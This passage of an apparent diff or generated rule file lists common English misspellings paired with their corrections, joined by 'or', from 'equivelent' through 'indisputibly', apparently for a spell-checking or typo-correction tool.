+  wrong = "equivelent" and right = "equivalent"
+  or
+  wrong = "equivilant" and right = "equivalent"
+  or
+  wrong = "equivilent" and right = "equivalent"
+  or
+  wrong = "equivlalent" and right = "equivalent"
+  or
+  wrong = "erally" and right = "orally"
+  or
+  wrong = "erally" and right = "really"
+  or
+  wrong = "eratic" and right = "erratic"
+  or
+  wrong = "eratically" and right = "erratically"
+  or
+  wrong = "eraticly" and right = "erratically"
+  or
+  wrong = "erested" and right = "arrested"
+  or
+  wrong = "erested" and right = "erected"
+  or
+  wrong = "errupted" and right = "erupted"
+  or
+  wrong = "esential" and right = "essential"
+  or
+  wrong = "esitmated" and right = "estimated"
+  or
+  wrong = "esle" and right = "else"
+  or
+  wrong = "especialy" and right = "especially"
+  or
+  wrong = "essencial" and right = "essential"
+  or
+  wrong = "essense" and right = "essence"
+  or
+  wrong = "essentail" and right = "essential"
+  or
+  wrong = "essentialy" and right = "essentially"
+  or
+  wrong = "essentual" and right = "essential"
+  or
+  wrong = "essesital" and right = "essential"
+  or
+  wrong = "estabishes" and right = "establishes"
+  or
+  wrong = "establising" and right = "establishing"
+  or
+  wrong = "ethnocentricm" and right = "ethnocentrism"
+  or
+  wrong = "ethose" and right = "ethos"
+  or
+  wrong = "ethose" and right = "those"
+  or
+  wrong = "europian" and right = "european"
+  or
+  wrong = "europians" and right = "europeans"
+  or
+  wrong = "eurpean" and right = "european"
+  or
+  wrong = "eurpoean" and right = "european"
+  or
+  wrong = "evenhtually" and right = "eventually"
+  or
+  wrong = "eventally" and right = "eventually"
+  or
+  wrong = "eventially" and right = "eventually"
+  or
+  wrong = "eventualy" and right = "eventually"
+  or
+  wrong = "everthing" and right = "everything"
+  or
+  wrong = "everyting" and right = "everything"
+  or
+  wrong = "eveyr" and right = "every"
+  or
+  wrong = "evidentally" and right = "evidently"
+  or
+  wrong = "exagerate" and right = "exaggerate"
+  or
+  wrong = "exagerated" and right = "exaggerated"
+  or
+  wrong = "exagerates" and right = "exaggerates"
+  or
+  wrong = "exagerating" and right = "exaggerating"
+  or
+  wrong = "exagerrate" and right = "exaggerate"
+  or
+  wrong = "exagerrated" and right = "exaggerated"
+  or
+  wrong = "exagerrates" and right = "exaggerates"
+  or
+  wrong = "exagerrating" and right = "exaggerating"
+  or
+  wrong = "examinated" and right = "examined"
+  or
+  wrong = "exampt" and right = "exempt"
+  or
+  wrong = "exapansion" and right = "expansion"
+  or
+  wrong = "excact" and right = "exact"
+  or
+  wrong = "excange" and right = "exchange"
+  or
+  wrong = "excecute" and right = "execute"
+  or
+  wrong = "excecuted" and right = "executed"
+  or
+  wrong = "excecutes" and right = "executes"
+  or
+  wrong = "excecuting" and right = "executing"
+  or
+  wrong = "excecution" and right = "execution"
+  or
+  wrong = "excedded" and right = "exceeded"
+  or
+  wrong = "excelent" and right = "excellent"
+  or
+  wrong = "excell" and right = "excel"
+  or
+  wrong = "excellance" and right = "excellence"
+  or
+  wrong = "excellant" and right = "excellent"
+  or
+  wrong = "excells" and right = "excels"
+  or
+  wrong = "excercise" and right = "exercise"
+  or
+  wrong = "exchanching" and right = "exchanging"
+  or
+  wrong = "excisted" and right = "existed"
+  or
+  wrong = "exculsivly" and right = "exclusively"
+  or
+  wrong = "execising" and right = "exercising"
+  or
+  wrong = "exection" and right = "execution"
+  or
+  wrong = "exectued" and right = "executed"
+  or
+  wrong = "exeedingly" and right = "exceedingly"
+  or
+  wrong = "exelent" and right = "excellent"
+  or
+  wrong = "exellent" and right = "excellent"
+  or
+  wrong = "exemple" and right = "example"
+  or
+  wrong = "exept" and right = "except"
+  or
+  wrong = "exeptional" and right = "exceptional"
+  or
+  wrong = "exerbate" and right = "exacerbate"
+  or
+  wrong = "exerbated" and right = "exacerbated"
+  or
+  wrong = "exerciese" and right = "exercises"
+  or
+  wrong = "exerpt" and right = "excerpt"
+  or
+  wrong = "exerpts" and right = "excerpts"
+  or
+  wrong = "exersize" and right = "exercise"
+  or
+  wrong = "exerternal" and right = "external"
+  or
+  wrong = "exhalted" and right = "exalted"
+  or
+  wrong = "exhibtion" and right = "exhibition"
+  or
+  wrong = "exibition" and right = "exhibition"
+  or
+  wrong = "exibitions" and right = "exhibitions"
+  or
+  wrong = "exicting" and right = "exciting"
+  or
+  wrong = "exinct" and right = "extinct"
+  or
+  wrong = "existance" and right = "existence"
+  or
+  wrong = "existant" and right = "existent"
+  or
+  wrong = "existince" and right = "existence"
+  or
+  wrong = "exliled" and right = "exiled"
+  or
+  wrong = "exludes" and right = "excludes"
+  or
+  wrong = "exmaple" and right = "example"
+  or
+  wrong = "exonorate" and right = "exonerate"
+  or
+  wrong = "exoskelaton" and right = "exoskeleton"
+  or
+  wrong = "expalin" and right = "explain"
+  or
+  wrong = "expatriot" and right = "expatriate"
+  or
+  wrong = "expeced" and right = "expected"
+  or
+  wrong = "expecially" and right = "especially"
+  or
+  wrong = "expeditonary" and right = "expeditionary"
+  or
+  wrong = "expeiments" and right = "experiments"
+  or
+  wrong = "expell" and right = "expel"
+  or
+  wrong = "expells" and right = "expels"
+  or
+  wrong = "experiance" and right = "experience"
+  or
+  wrong = "experianced" and right = "experienced"
+  or
+  wrong = "expession" and right = "expression"
+  or
+  wrong = "expessions" and right = "expressions"
+  or
+  wrong = "expiditions" and right = "expeditions"
+  or
+  wrong = "expierence" and right = "experience"
+  or
+  wrong = "explaination" and right = "explanation"
+  or
+  wrong = "explaning" and right = "explaining"
+  or
+  wrong = "explictly" and right = "explicitly"
+  or
+  wrong = "exploititive" and right = "exploitative"
+  or
+  wrong = "explotation" and right = "exploitation"
+  or
+  wrong = "expropiated" and right = "expropriated"
+  or
+  wrong = "expropiation" and right = "expropriation"
+  or
+  wrong = "exressed" and right = "expressed"
+  or
+  wrong = "extemely" and right = "extremely"
+  or
+  wrong = "extened" and right = "extended"
+  or
+  wrong = "extention" and right = "extension"
+  or
+  wrong = "extentions" and right = "extensions"
+  or
+  wrong = "extered" and right = "exerted"
+  or
+  wrong = "extermist" and right = "extremist"
+  or
+  wrong = "extint" and right = "extant"
+  or
+  wrong = "extint" and right = "extinct"
+  or
+  wrong = "extracter" and right = "extractor"
+  or
+  wrong = "extradiction" and right = "extradition"
+  or
+  wrong = "extraterrestial" and right = "extraterrestrial"
+  or
+  wrong = "extraterrestials" and right = "extraterrestrials"
+  or
+  wrong = "extravagent" and right = "extravagant"
+  or
+  wrong = "extrememly" and right = "extremely"
+  or
+  wrong = "extremeophile" and right = "extremophile"
+  or
+  wrong = "extremly" and right = "extremely"
+  or
+  wrong = "extrordinarily" and right = "extraordinarily"
+  or
+  wrong = "extrordinary" and right = "extraordinary"
+  or
+  wrong = "eyar" and right = "eyas"
+  or
+  wrong = "eyar" and right = "year"
+  or
+  wrong = "eyars" and right = "eyas"
+  or
+  wrong = "eyars" and right = "years"
+  or
+  wrong = "eyasr" and right = "eyas"
+  or
+  wrong = "eyasr" and right = "years"
+  or
+  wrong = "faciliate" and right = "facilitate"
+  or
+  wrong = "faciliated" and right = "facilitated"
+  or
+  wrong = "faciliates" and right = "facilitates"
+  or
+  wrong = "facilites" and right = "facilities"
+  or
+  wrong = "facillitate" and right = "facilitate"
+  or
+  wrong = "facinated" and right = "fascinated"
+  or
+  wrong = "facist" and right = "fascist"
+  or
+  wrong = "familes" and right = "families"
+  or
+  wrong = "familliar" and right = "familiar"
+  or
+  wrong = "famoust" and right = "famous"
+  or
+  wrong = "fanatism" and right = "fanaticism"
+  or
+  wrong = "farenheit" and right = "fahrenheit"
+  or
+  wrong = "fatc" and right = "fact"
+  or
+  wrong = "faught" and right = "fought"
+  or
+  wrong = "favoutrable" and right = "favourable"
+  or
+  wrong = "feasable" and right = "feasible"
+  or
+  wrong = "febuary" and right = "february"
+  or
+  wrong = "feburary" and right = "february"
+  or
+  wrong = "fedreally" and right = "federally"
+  or
+  wrong = "femminist" and right = "feminist"
+  or
+  wrong = "feromone" and right = "pheromone"
+  or
+  wrong = "fertily" and right = "fertility"
+  or
+  wrong = "fianite" and right = "finite"
+  or
+  wrong = "fianlly" and right = "finally"
+  or
+  wrong = "ficticious" and right = "fictitious"
+  or
+  wrong = "fictious" and right = "fictitious"
+  or
+  wrong = "fidn" and right = "find"
+  or
+  wrong = "fiel" and right = "feel"
+  or
+  wrong = "fiel" and right = "field"
+  or
+  wrong = "fiel" and right = "file"
+  or
+  wrong = "fiel" and right = "phial"
+  or
+  wrong = "fiels" and right = "feels"
+  or
+  wrong = "fiels" and right = "fields"
+  or
+  wrong = "fiels" and right = "files"
+  or
+  wrong = "fiels" and right = "phials"
+  or
+  wrong = "fiercly" and right = "fiercely"
+  or
+  wrong = "fightings" and right = "fighting"
+  or
+  wrong = "filiament" and right = "filament"
+  or
+  wrong = "fimilies" and right = "families"
+  or
+  wrong = "finacial" and right = "financial"
+  or
+  wrong = "finaly" and right = "finally"
+  or
+  wrong = "financialy" and right = "financially"
+  or
+  wrong = "firends" and right = "friends"
+  or
+  wrong = "firts" and right = "first"
+  or
+  wrong = "firts" and right = "flirts"
+  or
+  wrong = "fisionable" and right = "fissionable"
+  or
+  wrong = "flamable" and right = "flammable"
+  or
+  wrong = "flawess" and right = "flawless"
+  or
+  wrong = "fleed" and right = "fled"
+  or
+  wrong = "fleed" and right = "freed"
+  or
+  wrong = "flemmish" and right = "flemish"
+  or
+  wrong = "florescent" and right = "fluorescent"
+  or
+  wrong = "flourescent" and right = "fluorescent"
+  or
+  wrong = "flourine" and right = "fluorine"
+  or
+  wrong = "flourishment" and right = "flourishing"
+  or
+  wrong = "fluorish" and right = "flourish"
+  or
+  wrong = "follwoing" and right = "following"
+  or
+  wrong = "folowing" and right = "following"
+  or
+  wrong = "fomed" and right = "formed"
+  or
+  wrong = "fomr" and right = "form"
+  or
+  wrong = "fomr" and right = "from"
+  or
+  wrong = "fonetic" and right = "phonetic"
+  or
+  wrong = "fontrier" and right = "fontier"
+  or
+  wrong = "foootball" and right = "football"
+  or
+  wrong = "forbad" and right = "forbade"
+  or
+  wrong = "forbiden" and right = "forbidden"
+  or
+  wrong = "foreward" and right = "foreword"
+  or
+  wrong = "forfiet" and right = "forfeit"
+  or
+  wrong = "forhead" and right = "forehead"
+  or
+  wrong = "foriegn" and right = "foreign"
+  or
+  wrong = "formalhaut" and right = "fomalhaut"
+  or
+  wrong = "formallize" and right = "formalize"
+  or
+  wrong = "formallized" and right = "formalized"
+  or
+  wrong = "formaly" and right = "formally"
+  or
+  wrong = "formaly" and right = "formerly"
+  or
+  wrong = "formelly" and right = "formerly"
+  or
+  wrong = "formidible" and right = "formidable"
+  or
+  wrong = "formost" and right = "foremost"
+  or
+  wrong = "forsaw" and right = "foresaw"
+  or
+  wrong = "forseeable" and right = "foreseeable"
+  or
+  wrong = "fortelling" and right = "foretelling"
+  or
+  wrong = "forunner" and right = "forerunner"
+  or
+  wrong = "foucs" and right = "focus"
+  or
+  wrong = "foudn" and right = "found"
+  or
+  wrong = "fougth" and right = "fought"
+  or
+  wrong = "foundaries" and right = "foundries"
+  or
+  wrong = "foundary" and right = "foundry"
+  or
+  wrong = "foundland" and right = "newfoundland"
+  or
+  wrong = "fourties" and right = "forties"
+  or
+  wrong = "fourty" and right = "forty"
+  or
+  wrong = "fouth" and right = "fourth"
+  or
+  wrong = "foward" and right = "forward"
+  or
+  wrong = "framwork" and right = "framework"
+  or
+  wrong = "fransiscan" and right = "franciscan"
+  or
+  wrong = "fransiscans" and right = "franciscans"
+  or
+  wrong = "freind" and right = "friend"
+  or
+  wrong = "freindly" and right = "friendly"
+  or
+  wrong = "frequentily" and right = "frequently"
+  or
+  wrong = "frome" and right = "from"
+  or
+  wrong = "fromed" and right = "formed"
+  or
+  wrong = "froniter" and right = "frontier"
+  or
+  wrong = "fucntion" and right = "function"
+  or
+  wrong = "fucntioning" and right = "functioning"
+  or
+  wrong = "fufill" and right = "fulfill"
+  or
+  wrong = "fufilled" and right = "fulfilled"
+  or
+  wrong = "fulfiled" and right = "fulfilled"
+  or
+  wrong = "fullfill" and right = "fulfill"
+  or
+  wrong = "fullfilled" and right = "fulfilled"
+  or
+  wrong = "funcion" and right = "function"
+  or
+  wrong = "fundametal" and right = "fundamental"
+  or
+  wrong = "fundametals" and right = "fundamentals"
+  or
+  wrong = "funguses" and right = "fungi"
+  or
+  wrong = "funtion" and right = "function"
+  or
+  wrong = "funtions" and right = "functions"
+  or
+  wrong = "furuther" and right = "further"
+  or
+  wrong = "futher" and right = "further"
+  or
+  wrong = "futhermore" and right = "furthermore"
+  or
+  wrong = "futhroc" and right = "futhark"
+  or
+  wrong = "futhroc" and right = "futhorc"
+  or
+  wrong = "gae" and right = "gael"
+  or
+  wrong = "gae" and right = "gale"
+  or
+  wrong = "gae" and right = "game"
+  or
+  wrong = "galatic" and right = "galactic"
+  or
+  wrong = "galations" and right = "galatians"
+  or
+  wrong = "gallaxies" and right = "galaxies"
+  or
+  wrong = "galvinized" and right = "galvanized"
+  or
+  wrong = "ganerate" and right = "generate"
+  or
+  wrong = "ganes" and right = "games"
+  or
+  wrong = "ganster" and right = "gangster"
+  or
+  wrong = "garantee" and right = "guarantee"
+  or
+  wrong = "garanteed" and right = "guaranteed"
+  or
+  wrong = "garantees" and right = "guarantees"
+  or
+  wrong = "garnison" and right = "garrison"
+  or
+  wrong = "gaurantee" and right = "guarantee"
+  or
+  wrong = "gauranteed" and right = "guaranteed"
+  or
+  wrong = "gaurantees" and right = "guarantees"
+  or
+  wrong = "gaurd" and right = "gourd"
+  or
+  wrong = "gaurd" and right = "guard"
+  or
+  wrong = "gaurentee" and right = "guarantee"
+  or
+  wrong = "gaurenteed" and right = "guaranteed"
+  or
+  wrong = "gaurentees" and right = "guarantees"
+  or
+  wrong = "geneological" and right = "genealogical"
+  or
+  wrong = "geneologies" and right = "genealogies"
+  or
+  wrong = "geneology" and right = "genealogy"
+  or
+  wrong = "generaly" and right = "generally"
+  or
+  wrong = "generatting" and right = "generating"
+  or
+  wrong = "genialia" and right = "genitalia"
+  or
+  wrong = "geographicial" and right = "geographical"
+  or
+  wrong = "geometrician" and right = "geometer"
+  or
+  wrong = "geometricians" and right = "geometers"
+  or
+  wrong = "gerat" and right = "great"
+  or
+  wrong = "ghandi" and right = "gandhi"
+  or
+  wrong = "glamourous" and right = "glamorous"
+  or
+  wrong = "glight" and right = "flight"
+  or
+  wrong = "gnawwed" and right = "gnawed"
+  or
+  wrong = "godess" and right = "goddess"
+  or
+  wrong = "godesses" and right = "goddesses"
+  or
+  wrong = "godounov" and right = "godunov"
+  or
+  wrong = "gogin" and right = "gauguin"
+  or
+  wrong = "gogin" and right = "going"
+  or
+  wrong = "goign" and right = "going"
+  or
+  wrong = "gonig" and right = "going"
+  or
+  wrong = "gothenberg" and right = "gothenburg"
+  or
+  wrong = "gottleib" and right = "gottlieb"
+  or
+  wrong = "gouvener" and right = "governor"
+  or
+  wrong = "govement" and right = "government"
+  or
+  wrong = "govenment" and right = "government"
+  or
+  wrong = "govenrment" and right = "government"
+  or
+  wrong = "goverance" and right = "governance"
+  or
+  wrong = "goverment" and right = "government"
+  or
+  wrong = "govermental" and right = "governmental"
+  or
+  wrong = "governer" and right = "governor"
+  or
+  wrong = "governmnet" and right = "government"
+  or
+  wrong = "govorment" and right = "government"
+  or
+  wrong = "govormental" and right = "governmental"
+  or
+  wrong = "govornment" and right = "government"
+  or
+  wrong = "gracefull" and right = "graceful"
+  or
+  wrong = "graet" and right = "great"
+  or
+  wrong = "grafitti" and right = "graffiti"
+  or
+  wrong = "gramatically" and right = "grammatically"
+  or
+  wrong = "grammaticaly" and right = "grammatically"
+  or
+  wrong = "grammer" and right = "grammar"
+  or
+  wrong = "grat" and right = "great"
+  or
+  wrong = "gratuitious" and right = "gratuitous"
+  or
+  wrong = "greatful" and right = "grateful"
+  or
+  wrong = "greatfully" and right = "gratefully"
+  or
+  wrong = "greif" and right = "grief"
+  or
+  wrong = "gridles" and right = "griddles"
+  or
+  wrong = "gropu" and right = "group"
+  or
+  wrong = "grwo" and right = "grow"
+  or
+  wrong = "guaduloupe" and right = "guadalupe"
+  or
+  wrong = "guaduloupe" and right = "guadeloupe"
+  or
+  wrong = "guadulupe" and right = "guadalupe"
+  or
+  wrong = "guadulupe" and right = "guadeloupe"
+  or
+  wrong = "guage" and right = "gauge"
+  or
+  wrong = "guarentee" and right = "guarantee"
+  or
+  wrong = "guarenteed" and right = "guaranteed"
+  or
+  wrong = "guarentees" and right = "guarantees"
+  or
+  wrong = "guatamala" and right = "guatemala"
+  or
+  wrong = "guatamalan" and right = "guatemalan"
+  or
+  wrong = "guerrila" and right = "guerrilla"
+  or
+  wrong = "guerrilas" and right = "guerrillas"
+  or
+  wrong = "guidence" and right = "guidance"
+  or
+  wrong = "guilia" and right = "giulia"
+  or
+  wrong = "guilio" and right = "giulio"
+  or
+  wrong = "guiness" and right = "guinness"
+  or
+  wrong = "guiseppe" and right = "giuseppe"
+  or
+  wrong = "gunanine" and right = "guanine"
+  or
+  wrong = "gurantee" and right = "guarantee"
+  or
+  wrong = "guranteed" and right = "guaranteed"
+  or
+  wrong = "gurantees" and right = "guarantees"
+  or
+  wrong = "guttaral" and right = "guttural"
+  or
+  wrong = "gutteral" and right = "guttural"
+  or
+  wrong = "habaeus" and right = "habeas"
+  or
+  wrong = "habeus" and right = "habeas"
+  or
+  wrong = "habsbourg" and right = "habsburg"
+  or
+  wrong = "haemorrage" and right = "haemorrhage"
+  or
+  wrong = "haev" and right = "have"
+  or
+  wrong = "haev" and right = "heave"
+  or
+  wrong = "halarious" and right = "hilarious"
+  or
+  wrong = "hallowean" and right = "halloween"
+  or
+  wrong = "halp" and right = "help"
+  or
+  wrong = "hander" and right = "handler"
+  or
+  wrong = "hapen" and right = "happen"
+  or
+  wrong = "hapened" and right = "happened"
+  or
+  wrong = "hapening" and right = "happening"
+  or
+  wrong = "happend" and right = "happened"
+  or
+  wrong = "happended" and right = "happened"
+  or
+  wrong = "happenned" and right = "happened"
+  or
+  wrong = "harased" and right = "harassed"
+  or
+  wrong = "harases" and right = "harasses"
+  or
+  wrong = "harasment" and right = "harassment"
+  or
+  wrong = "harasments" and right = "harassments"
+  or
+  wrong = "harassement" and right = "harassment"
+  or
+  wrong = "harras" and right = "harass"
+  or
+  wrong = "harrased" and right = "harassed"
+  or
+  wrong = "harrases" and right = "harasses"
+  or
+  wrong = "harrasing" and right = "harassing"
+  or
+  wrong = "harrasment" and right = "harassment"
+  or
+  wrong = "harrasments" and right = "harassments"
+  or
+  wrong = "harrassed" and right = "harassed"
+  or
+  wrong = "harrasses" and right = "harassed"
+  or
+  wrong = "harrassing" and right = "harassing"
+  or
+  wrong = "harrassment" and right = "harassment"
+  or
+  wrong = "harrassments" and right = "harassments"
+  or
+  wrong = "hatian" and right = "haitian"
+  or
+  wrong = "haviest" and right = "heaviest"
+  or
+  wrong = "headquarer" and right = "headquarter"
+  or
+  wrong = "headquater" and right = "headquarter"
+  or
+  wrong = "headquatered" and right = "headquartered"
+  or
+  wrong = "headquaters" and right = "headquarters"
+  or
+  wrong = "healthercare" and right = "healthcare"
+  or
+  wrong = "heared" and right = "heard"
+  or
+  wrong = "heathy" and right = "healthy"
+  or
+  wrong = "heidelburg" and right = "heidelberg"
+  or
+  wrong = "heigher" and right = "higher"
+  or
+  wrong = "heirarchy" and right = "hierarchy"
+  or
+  wrong = "heiroglyphics" and right = "hieroglyphics"
+  or
+  wrong = "helment" and right = "helmet"
+  or
+  wrong = "helpfull" and right = "helpful"
+  or
+  wrong = "helpped" and right = "helped"
+  or
+  wrong = "hemmorhage" and right = "hemorrhage"
+  or
+  wrong = "herad" and right = "heard"
+  or
+  wrong = "herad" and right = "hera"
+  or
+  wrong = "heridity" and right = "heredity"
+  or
+  wrong = "heroe" and right = "hero"
+  or
+  wrong = "heros" and right = "heroes"
+  or
+  wrong = "hertiage" and right = "heritage"
+  or
+  wrong = "hertzs" and right = "hertz"
+  or
+  wrong = "hesistant" and right = "hesitant"
+  or
+  wrong = "heterogenous" and right = "heterogeneous"
+  or
+  wrong = "hieght" and right = "height"
+  or
+  wrong = "hierachical" and right = "hierarchical"
+  or
+  wrong = "hierachies" and right = "hierarchies"
+  or
+  wrong = "hierachy" and right = "hierarchy"
+  or
+  wrong = "hierarcical" and right = "hierarchical"
+  or
+  wrong = "hierarcy" and right = "hierarchy"
+  or
+  wrong = "hieroglph" and right = "hieroglyph"
+  or
+  wrong = "hieroglphs" and right = "hieroglyphs"
+  or
+  wrong = "higer" and right = "higher"
+  or
+  wrong = "higest" and right = "highest"
+  or
+  wrong = "higway" and right = "highway"
+  or
+  wrong = "hillarious" and right = "hilarious"
+  or
+  wrong = "himselv" and right = "himself"
+  or
+  wrong = "hinderance" and right = "hindrance"
+  or
+  wrong = "hinderence" and right = "hindrance"
+  or
+  wrong = "hindrence" and right = "hindrance"
+  or
+  wrong = "hipopotamus" and right = "hippopotamus"
+  or
+  wrong = "hismelf" and right = "himself"
+  or
+  wrong = "histocompatability" and right = "histocompatibility"
+  or
+  wrong = "historicians" and right = "historians"
+  or
+  wrong = "holf" and right = "hold"
+  or
+  wrong = "holliday" and right = "holiday"
+  or
+  wrong = "homogeneize" and right = "homogenize"
+  or
+  wrong = "homogeneized" and right = "homogenized"
+  or
+  wrong = "honory" and right = "honorary"
+  or
+  wrong = "horrifing" and right = "horrifying"
+  or
+  wrong = "hosited" and right = "hoisted"
+  or
+  wrong = "hospitible" and right = "hospitable"
+  or
+  wrong = "hounour" and right = "honour"
+  or
+  wrong = "housr" and right = "hours"
+  or
+  wrong = "housr" and right = "house"
+  or
+  wrong = "howver" and right = "however"
+  or
+  wrong = "hsitorians" and right = "historians"
+  or
+  wrong = "hstory" and right = "history"
+  or
+  wrong = "hten" and right = "hen"
+  or
+  wrong = "hten" and right = "the"
+  or
+  wrong = "hten" and right = "then"
+  or
+  wrong = "htere" and right = "here"
+  or
+  wrong = "htere" and right = "there"
+  or
+  wrong = "htey" and right = "they"
+  or
+  wrong = "htikn" and right = "think"
+  or
+  wrong = "hting" and right = "thing"
+  or
+  wrong = "htink" and right = "think"
+  or
+  wrong = "htis" and right = "this"
+  or
+  wrong = "humer" and right = "humor"
+  or
+  wrong = "humer" and right = "humour"
+  or
+  wrong = "humerous" and right = "humerus"
+  or
+  wrong = "humerous" and right = "humorous"
+  or
+  wrong = "huminoid" and right = "humanoid"
+  or
+  wrong = "humoural" and right = "humoral"
+  or
+  wrong = "humurous" and right = "humorous"
+  or
+  wrong = "husban" and right = "husband"
+  or
+  wrong = "hvae" and right = "have"
+  or
+  wrong = "hvaing" and right = "having"
+  or
+  wrong = "hvea" and right = "have"
+  or
+  wrong = "hvea" and right = "heave"
+  or
+  wrong = "hwihc" and right = "which"
+  or
+  wrong = "hwile" and right = "while"
+  or
+  wrong = "hwole" and right = "whole"
+  or
+  wrong = "hydogen" and right = "hydrogen"
+  or
+  wrong = "hydropile" and right = "hydrophile"
+  or
+  wrong = "hydropilic" and right = "hydrophilic"
+  or
+  wrong = "hydropobe" and right = "hydrophobe"
+  or
+  wrong = "hydropobic" and right = "hydrophobic"
+  or
+  wrong = "hygeine" and right = "hygiene"
+  or
+  wrong = "hyjack" and right = "hijack"
+  or
+  wrong = "hyjacking" and right = "hijacking"
+  or
+  wrong = "hypocracy" and right = "hypocrisy"
+  or
+  wrong = "hypocrasy" and right = "hypocrisy"
+  or
+  wrong = "hypocricy" and right = "hypocrisy"
+  or
+  wrong = "hypocrit" and right = "hypocrite"
+  or
+  wrong = "hypocrits" and right = "hypocrites"
+  or
+  wrong = "iconclastic" and right = "iconoclastic"
+  or
+  wrong = "idaeidae" and right = "idea"
+  or
+  wrong = "idaes" and right = "ideas"
+  or
+  wrong = "idealogies" and right = "ideologies"
+  or
+  wrong = "idealogy" and right = "ideology"
+  or
+  wrong = "identicial" and right = "identical"
+  or
+  wrong = "identifers" and right = "identifiers"
+  or
+  wrong = "ideosyncratic" and right = "idiosyncratic"
+  or
+  wrong = "idesa" and right = "ideas"
+  or
+  wrong = "idesa" and right = "ides"
+  or
+  wrong = "idiosyncracy" and right = "idiosyncrasy"
+  or
+  wrong = "ihaca" and right = "ithaca"
+  or
+  wrong = "illegimacy" and right = "illegitimacy"
+  or
+  wrong = "illegitmate" and right = "illegitimate"
+  or
+  wrong = "illess" and right = "illness"
+  or
+  wrong = "illiegal" and right = "illegal"
+  or
+  wrong = "illution" and right = "illusion"
+  or
+  wrong = "ilness" and right = "illness"
+  or
+  wrong = "ilogical" and right = "illogical"
+  or
+  wrong = "imagenary" and right = "imaginary"
+  or
+  wrong = "imagin" and right = "imagine"
+  or
+  wrong = "imaginery" and right = "imagery"
+  or
+  wrong = "imaginery" and right = "imaginary"
+  or
+  wrong = "imanent" and right = "eminent"
+  or
+  wrong = "imanent" and right = "imminent"
+  or
+  wrong = "imcomplete" and right = "incomplete"
+  or
+  wrong = "imediately" and right = "immediately"
+  or
+  wrong = "imense" and right = "immense"
+  or
+  wrong = "imigrant" and right = "emigrant"
+  or
+  wrong = "imigrant" and right = "immigrant"
+  or
+  wrong = "imigrated" and right = "emigrated"
+  or
+  wrong = "imigrated" and right = "immigrated"
+  or
+  wrong = "imigration" and right = "emigration"
+  or
+  wrong = "imigration" and right = "immigration"
+  or
+  wrong = "iminent" and right = "eminent"
+  or
+  wrong = "iminent" and right = "immanent"
+  or
+  wrong = "iminent" and right = "imminent"
+  or
+  wrong = "immediatley" and right = "immediately"
+  or
+  wrong = "immediatly" and right = "immediately"
+  or
+  wrong = "immidately" and right = "immediately"
+  or
+  wrong = "immidiately" and right = "immediately"
+  or
+  wrong = "immitate" and right = "imitate"
+  or
+  wrong = "immitated" and right = "imitated"
+  or
+  wrong = "immitating" and right = "imitating"
+  or
+  wrong = "immitator" and right = "imitator"
+  or
+  wrong = "immunosupressant" and right = "immunosuppressant"
+  or
+  wrong = "impecabbly" and right = "impeccably"
+  or
+  wrong = "impedence" and right = "impedance"
+  or
+  wrong = "implamenting" and right = "implementing"
+  or
+  wrong = "impliment" and right = "implement"
+  or
+  wrong = "implimented" and right = "implemented"
+  or
+  wrong = "imploys" and right = "employs"
+  or
+  wrong = "importamt" and right = "important"
+  or
+  wrong = "impressario" and right = "impresario"
+  or
+  wrong = "imprioned" and right = "imprisoned"
+  or
+  wrong = "imprisonned" and right = "imprisoned"
+  or
+  wrong = "improvision" and right = "improvisation"
+  or
+  wrong = "improvments" and right = "improvements"
+  or
+  wrong = "inablility" and right = "inability"
+  or
+  wrong = "inaccessable" and right = "inaccessible"
+  or
+  wrong = "inadiquate" and right = "inadequate"
+  or
+  wrong = "inadquate" and right = "inadequate"
+  or
+  wrong = "inadvertant" and right = "inadvertent"
+  or
+  wrong = "inadvertantly" and right = "inadvertently"
+  or
+  wrong = "inagurated" and right = "inaugurated"
+  or
+  wrong = "inaguration" and right = "inauguration"
+  or
+  wrong = "inappropiate" and right = "inappropriate"
+  or
+  wrong = "inaugures" and right = "inaugurates"
+  or
+  wrong = "inbalance" and right = "imbalance"
+  or
+  wrong = "inbalanced" and right = "imbalanced"
+  or
+  wrong = "inbetween" and right = "between"
+  or
+  wrong = "incarcirated" and right = "incarcerated"
+  or
+  wrong = "incidentially" and right = "incidentally"
+  or
+  wrong = "incidently" and right = "incidentally"
+  or
+  wrong = "inclreased" and right = "increased"
+  or
+  wrong = "includ" and right = "include"
+  or
+  wrong = "includng" and right = "including"
+  or
+  wrong = "incompatabilities" and right = "incompatibilities"
+  or
+  wrong = "incompatability" and right = "incompatibility"
+  or
+  wrong = "incompatable" and right = "incompatible"
+  or
+  wrong = "incompatablities" and right = "incompatibilities"
+  or
+  wrong = "incompatablity" and right = "incompatibility"
+  or
+  wrong = "incompatiblities" and right = "incompatibilities"
+  or
+  wrong = "incompatiblity" and right = "incompatibility"
+  or
+  wrong = "incompetance" and right = "incompetence"
+  or
+  wrong = "incompetant" and right = "incompetent"
+  or
+  wrong = "incomptable" and right = "incompatible"
+  or
+  wrong = "incomptetent" and right = "incompetent"
+  or
+  wrong = "inconsistant" and right = "inconsistent"
+  or
+  wrong = "incoroporated" and right = "incorporated"
+  or
+  wrong = "incorperation" and right = "incorporation"
+  or
+  wrong = "incorportaed" and right = "incorporated"
+  or
+  wrong = "incorprates" and right = "incorporates"
+  or
+  wrong = "incorruptable" and right = "incorruptible"
+  or
+  wrong = "incramentally" and right = "incrementally"
+  or
+  wrong = "increadible" and right = "incredible"
+  or
+  wrong = "incredable" and right = "incredible"
+  or
+  wrong = "inctroduce" and right = "introduce"
+  or
+  wrong = "inctroduced" and right = "introduced"
+  or
+  wrong = "incuding" and right = "including"
+  or
+  wrong = "incunabla" and right = "incunabula"
+  or
+  wrong = "indefinately" and right = "indefinitely"
+  or
+  wrong = "indefineable" and right = "undefinable"
+  or
+  wrong = "indefinitly" and right = "indefinitely"
+  or
+  wrong = "indentical" and right = "identical"
+  or
+  wrong = "indepedantly" and right = "independently"
+  or
+  wrong = "indepedence" and right = "independence"
+  or
+  wrong = "independance" and right = "independence"
+  or
+  wrong = "independant" and right = "independent"
+  or
+  wrong = "independantly" and right = "independently"
+  or
+  wrong = "independece" and right = "independence"
+  or
+  wrong = "independendet" and right = "independent"
+  or
+  wrong = "indespensable" and right = "indispensable"
+  or
+  wrong = "indespensible" and right = "indispensable"
+  or
+  wrong = "indictement" and right = "indictment"
+  or
+  wrong = "indigineous" and right = "indigenous"
+  or
+  wrong = "indipendence" and right = "independence"
+  or
+  wrong = "indipendent" and right = "independent"
+  or
+  wrong = "indipendently" and right = "independently"
+  or
+  wrong = "indispensible" and right = "indispensable"
+  or
+  wrong = "indisputible" and right = "indisputable"
+  or
+  wrong = "indisputibly" and right = "indisputably"
+  or
